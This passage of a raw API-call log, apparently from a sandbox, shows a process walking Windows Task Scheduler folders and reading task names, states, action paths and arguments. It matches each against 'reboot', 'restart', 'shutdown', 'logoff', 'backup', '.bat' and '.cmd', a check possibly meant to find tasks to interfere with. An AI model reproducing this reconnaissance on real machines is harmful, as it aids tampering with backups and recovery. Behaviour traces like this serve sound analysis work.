IUnknown:Release (This=0x2460978) returned 0x0 [0151.829] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0151.829] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0151.829] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2460978) returned 0x0 [0151.830] IRegisteredTaskCollection:get_Count (in: This=0x2460978, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0151.830] IUnknown:Release (This=0x2460978) returned 0x0 [0151.830] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2460978) returned 0x0 [0151.830] ITaskFolderCollection:get_Count (in: This=0x2460978, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0151.830] IUnknown:Release (This=0x2460978) returned 0x0 [0151.830] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0151.830] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0151.830] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0151.831] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0151.831] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a40) returned 0x0 [0151.831] IRegisteredTask:get_Name (in: This=0x2460a40, pName=0x5cf9f8 | out: pName=0x5cf9f8*="HotStart") returned 0x0 [0151.831] IRegisteredTask:get_State (in: This=0x2460a40, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0151.832] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6a90 [0151.832] wcsstr (_Str="hotstart", _SubStr="reboot") returned 0x0 [0151.832] wcsstr (_Str="hotstart", _SubStr="restart") returned 0x0 [0151.832] wcsstr (_Str="hotstart", _SubStr="shutdown") returned 0x0 [0151.832] wcsstr (_Str="hotstart", _SubStr="logoff") returned 0x0 [0151.833] wcsstr (_Str="hotstart", _SubStr=".bat") returned 0x0 [0151.833] wcsstr (_Str="hotstart", _SubStr="backup") returned 0x0 [0151.833] wcsstr (_Str="hotstart", _SubStr=".cmd") returned 0x0 [0151.833] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6a90) returned 1 [0151.833] IRegisteredTask:get_Definition (in: This=0x2460a40, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47faa8) returned 0x0 [0151.838] ITaskDefinition:get_Actions (in: This=0x47faa8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460a88) returned 0x0 [0151.838] IActionCollection:get_Count (in: This=0x2460a88, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0151.838] IActionCollection:get_Item (in: This=0x2460a88, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd98) returned 0x0 [0151.838] IAction:get_Type (in: This=0x47fd98, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0151.838] IUnknown:Release (This=0x47fd98) returned 0x1 [0151.838] IUnknown:Release (This=0x2460a88) returned 0x1 [0151.839] IUnknown:Release (This=0x47faa8) returned 0x0 [0151.839] IUnknown:Release (This=0x2460a40) returned 0x0 [0151.839] IUnknown:Release (This=0x24609b8) returned 0x0 [0151.839] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0151.839] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0151.839] IUnknown:Release (This=0x24609b8) returned 0x0 [0151.839] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0151.839] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0151.839] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b0) returned 0x0 [0151.840] IRegisteredTaskCollection:get_Count (in: This=0x24609b0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0151.840] IRegisteredTaskCollection:get_Item (in: This=0x24609b0, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a28) returned 0x0 [0151.840] IRegisteredTask:get_Name (in: This=0x2460a28, pName=0x5cf9f8 | out: pName=0x5cf9f8*="LPRemove") returned 0x0 [0151.840] IRegisteredTask:get_State (in: This=0x2460a28, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0151.841] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6a90 [0151.841] wcsstr (_Str="lpremove", _SubStr="reboot") returned 0x0 [0151.841] wcsstr (_Str="lpremove", _SubStr="restart") returned 0x0 [0151.841] wcsstr (_Str="lpremove", _SubStr="shutdown") returned 0x0 [0151.841] wcsstr (_Str="lpremove", _SubStr="logoff") returned 0x0 [0151.841] wcsstr (_Str="lpremove", _SubStr=".bat") returned 0x0 [0151.841] wcsstr (_Str="lpremove", _SubStr="backup") returned 0x0 [0151.841] wcsstr (_Str="lpremove", _SubStr=".cmd") returned 0x0 [0151.841] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6a90) returned 1 [0151.841] IRegisteredTask:get_Definition (in: This=0x2460a28, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0151.846] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0151.846] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0151.846] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd78) returned 0x0 [0151.846] IAction:get_Type (in: This=0x47fd78, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0151.846] IUnknown:QueryInterface (in: This=0x47fd78, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd78) returned 0x0 [0151.846] IExecAction:get_Path (in: This=0x47fd78, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\lpremove.exe") returned 0x0 [0151.846] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2860 [0151.846] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="reboot") returned 0x0 [0151.846] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="restart") returned 0x0 [0151.846] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="shutdown") returned 0x0 [0151.846] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="logoff") returned 0x0 [0151.846] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".bat") returned 0x0 [0151.847] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="backup") returned 0x0 [0151.847] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".cmd") returned 0x0 [0151.847] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0151.847] IExecAction:get_Arguments (in: This=0x47fd78, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0151.847] IUnknown:Release (This=0x47fd78) returned 0x2 [0151.847] IUnknown:Release (This=0x47fd78) returned 0x1 [0151.847] IUnknown:Release (This=0x47fac8) returned 0x1 [0151.847] IUnknown:Release (This=0x47fa50) returned 0x0 [0151.847] IUnknown:Release (This=0x2460a28) returned 0x0 [0151.847] IUnknown:Release (This=0x24609b0) returned 0x0 [0151.847] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b0) returned 0x0 [0151.847] ITaskFolderCollection:get_Count (in: This=0x24609b0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0151.847] IUnknown:Release (This=0x24609b0) returned 0x0 [0151.847] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0151.847] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0151.847] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609c0) returned 0x0 [0151.848] IRegisteredTaskCollection:get_Count (in: This=0x24609c0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0151.848] IRegisteredTaskCollection:get_Item (in: This=0x24609c0, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a48) returned 0x0 [0151.848] IRegisteredTask:get_Name (in: This=0x2460a48, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemSoundsService") returned 0x0 [0151.848] IRegisteredTask:get_State (in: This=0x2460a48, pState=0x5cf9fc | out: pState=0x5cf9fc*=4) returned 0x0 [0152.143] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0152.143] wcsstr (_Str="systemsoundsservice", _SubStr="reboot") returned 0x0 [0152.143] wcsstr (_Str="systemsoundsservice", _SubStr="restart") returned 0x0 [0152.143] wcsstr (_Str="systemsoundsservice", _SubStr="shutdown") returned 0x0 [0152.143] wcsstr (_Str="systemsoundsservice", _SubStr="logoff") returned 0x0 [0152.143] wcsstr (_Str="systemsoundsservice", _SubStr=".bat") returned 0x0 [0152.143] wcsstr (_Str="systemsoundsservice", _SubStr="backup") returned 0x0 [0152.143] wcsstr (_Str="systemsoundsservice", _SubStr=".cmd") returned 0x0 [0152.143] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0152.143] IRegisteredTask:get_Definition (in: This=0x2460a48, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fac8) returned 0x0 [0152.679] ITaskDefinition:get_Actions (in: This=0x47fac8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fb40) returned 0x0 [0152.679] IActionCollection:get_Count (in: This=0x47fb40, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0152.679] IActionCollection:get_Item (in: This=0x47fb40, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fdc0) returned 0x0 [0152.679] IAction:get_Type (in: This=0x47fdc0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0152.679] IUnknown:Release (This=0x47fdc0) returned 0x1 [0152.679] IUnknown:Release (This=0x47fb40) returned 0x1 [0152.679] IUnknown:Release (This=0x47fac8) returned 0x0 [0152.679] IUnknown:Release (This=0x2460a48) returned 0x0 [0152.679] IUnknown:Release (This=0x24609c0) returned 0x0 [0152.679] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609c0) returned 0x0 [0152.679] ITaskFolderCollection:get_Count (in: This=0x24609c0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0152.679] IUnknown:Release (This=0x24609c0) returned 0x0 [0152.679] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0152.679] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0152.679] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0152.680] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0152.680] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a40) returned 0x0 [0152.680] IRegisteredTask:get_Name (in: This=0x2460a40, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GatherNetworkInfo") returned 0x0 [0152.680] IRegisteredTask:get_State (in: This=0x2460a40, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0152.681] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0152.681] wcsstr (_Str="gathernetworkinfo", _SubStr="reboot") returned 0x0 [0152.681] wcsstr (_Str="gathernetworkinfo", _SubStr="restart") returned 0x0 [0152.682] wcsstr (_Str="gathernetworkinfo", _SubStr="shutdown") returned 0x0 [0152.682] wcsstr (_Str="gathernetworkinfo", _SubStr="logoff") returned 0x0 [0152.682] wcsstr (_Str="gathernetworkinfo", _SubStr=".bat") returned 0x0 [0152.682] wcsstr (_Str="gathernetworkinfo", _SubStr="backup") returned 0x0 [0152.682] wcsstr (_Str="gathernetworkinfo", _SubStr=".cmd") returned 0x0 [0152.682] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0152.682] IRegisteredTask:get_Definition (in: This=0x2460a40, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fab8) returned 0x0 [0152.687] ITaskDefinition:get_Actions (in: This=0x47fab8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460a88) returned 0x0 [0152.687] IActionCollection:get_Count (in: This=0x2460a88, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0152.687] IActionCollection:get_Item (in: This=0x2460a88, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd60) returned 0x0 [0152.687] IAction:get_Type (in: This=0x47fd60, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0152.688] IUnknown:QueryInterface (in: This=0x47fd60, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd60) returned 0x0 [0152.688] IExecAction:get_Path (in: This=0x47fd60, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\gatherNetworkInfo.vbs") returned 0x0 [0152.688] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x50) returned 0x6d7248 [0152.688] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="reboot") returned 0x0 [0152.688] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="restart") returned 0x0 [0152.688] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="shutdown") returned 0x0 [0152.688] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="logoff") returned 0x0 [0152.688] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".bat") returned 0x0 [0152.688] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="backup") returned 0x0 [0152.688] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".cmd") returned 0x0 [0152.688] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d7248) returned 1 [0152.688] IExecAction:get_Arguments (in: This=0x47fd60, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0152.688] IUnknown:Release (This=0x47fd60) returned 0x2 [0152.688] IUnknown:Release (This=0x47fd60) returned 0x1 [0152.688] IUnknown:Release (This=0x2460a88) returned 0x1 [0152.688] IUnknown:Release (This=0x47fab8) returned 0x0 [0152.688] IUnknown:Release (This=0x2460a40) returned 0x0 [0152.688] IUnknown:Release (This=0x24609b8) returned 0x0 [0152.688] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0152.688] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0152.689] IUnknown:Release (This=0x24609b8) returned 0x0 [0152.689] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0152.689] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0152.689] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609d8) returned 0x0 [0152.689] IRegisteredTaskCollection:get_Count (in: This=0x24609d8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0152.689] IUnknown:Release (This=0x24609d8) returned 0x0 [0152.689] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609d8) returned 0x0 [0152.689] ITaskFolderCollection:get_Count (in: This=0x24609d8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0152.689] IUnknown:Release (This=0x24609d8) returned 0x0 [0152.689] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0152.689] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0152.690] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2460978) returned 0x0 [0152.690] IRegisteredTaskCollection:get_Count (in: This=0x2460978, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0152.690] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a10) returned 0x0 [0152.690] IRegisteredTask:get_Name (in: This=0x2460a10, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Background Synchronization") returned 0x0 [0152.690] IRegisteredTask:get_State (in: This=0x2460a10, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0152.692] IUnknown:Release (This=0x2460a10) returned 0x0 [0152.692] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a10) returned 0x0 [0152.692] IRegisteredTask:get_Name (in: This=0x2460a10, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Logon Synchronization") returned 0x0 [0152.692] IRegisteredTask:get_State (in: This=0x2460a10, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0152.694] IUnknown:Release (This=0x2460a10) returned 0x0 [0152.694] IUnknown:Release (This=0x2460978) returned 0x0 [0152.694] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2460978) returned 0x0 [0152.694] ITaskFolderCollection:get_Count (in: This=0x2460978, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0152.694] IUnknown:Release (This=0x2460978) returned 0x0 [0152.694] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0152.694] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0152.694] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609c0) returned 0x0 [0152.695] IRegisteredTaskCollection:get_Count (in: This=0x24609c0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0152.695] IUnknown:Release (This=0x24609c0) returned 0x0 [0152.695] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609c0) returned 0x0 [0152.695] ITaskFolderCollection:get_Count (in: This=0x24609c0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0152.695] IUnknown:Release (This=0x24609c0) returned 0x0 [0152.695] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0152.695] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0152.695] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b0) returned 0x0 [0152.695] IRegisteredTaskCollection:get_Count (in: This=0x24609b0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0152.695] IUnknown:Release (This=0x24609b0) returned 0x0 [0152.696] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b0) returned 0x0 [0152.696] ITaskFolderCollection:get_Count (in: This=0x24609b0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0152.696] ITaskFolderCollection:get_Item (in: This=0x24609b0, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x2460180) returned 0x0 [0152.696] ITaskFolder:GetTasks (in: This=0x2460180, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x2460a78) returned 0x0 [0152.697] IRegisteredTaskCollection:get_Count (in: This=0x2460a78, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0152.697] IUnknown:Release (This=0x2460a78) returned 0x0 [0152.697] ITaskFolder:GetFolders (in: This=0x2460180, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x2460a78) returned 0x0 [0152.697] ITaskFolderCollection:get_Count (in: This=0x2460a78, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0152.697] IUnknown:Release (This=0x2460a78) returned 0x0 [0152.697] TaskScheduler:IUnknown:Release (This=0x2460180) returned 0x0 [0152.697] IUnknown:Release (This=0x24609b0) returned 0x0 [0152.697] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0152.697] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0152.697] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609e0) returned 0x0 [0152.697] IRegisteredTaskCollection:get_Count (in: This=0x24609e0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0152.698] IRegisteredTaskCollection:get_Item (in: This=0x24609e0, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a88) returned 0x0 [0152.698] IRegisteredTask:get_Name (in: This=0x2460a88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AnalyzeSystem") returned 0x0 [0152.698] IRegisteredTask:get_State (in: This=0x2460a88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0152.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e6370 [0152.699] wcsstr (_Str="analyzesystem", _SubStr="reboot") returned 0x0 [0152.699] wcsstr (_Str="analyzesystem", _SubStr="restart") returned 0x0 [0152.699] wcsstr (_Str="analyzesystem", _SubStr="shutdown") returned 0x0 [0152.699] wcsstr (_Str="analyzesystem", _SubStr="logoff") returned 0x0 [0152.699] wcsstr (_Str="analyzesystem", _SubStr=".bat") returned 0x0 [0152.699] wcsstr (_Str="analyzesystem", _SubStr="backup") returned 0x0 [0152.699] wcsstr (_Str="analyzesystem", _SubStr=".cmd") returned 0x0 [0152.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6370) returned 1 [0152.699] IRegisteredTask:get_Definition (in: This=0x2460a88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0152.707] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0152.707] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0152.707] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd88) returned 0x0 [0152.707] IAction:get_Type (in: This=0x47fd88, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0152.707] IUnknown:QueryInterface (in: This=0x47fd88, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd88) returned 0x0 [0152.707] IExecAction:get_Path (in: This=0x47fd88, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\System32\\powercfg.exe") returned 0x0 [0152.707] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x46) returned 0x6e7270 [0152.707] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="reboot") returned 0x0 [0152.707] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="restart") returned 0x0 [0152.707] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="shutdown") returned 0x0 [0152.707] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="logoff") returned 0x0 [0152.707] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".bat") returned 0x0 [0152.707] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="backup") returned 0x0 [0152.707] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".cmd") returned 0x0 [0152.707] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0152.707] IExecAction:get_Arguments (in: This=0x47fd88, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-energy -auto") returned 0x0 [0152.707] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e5ec0 [0152.707] wcsstr (_Str="-energy -auto", _SubStr="reboot") returned 0x0 [0152.707] wcsstr 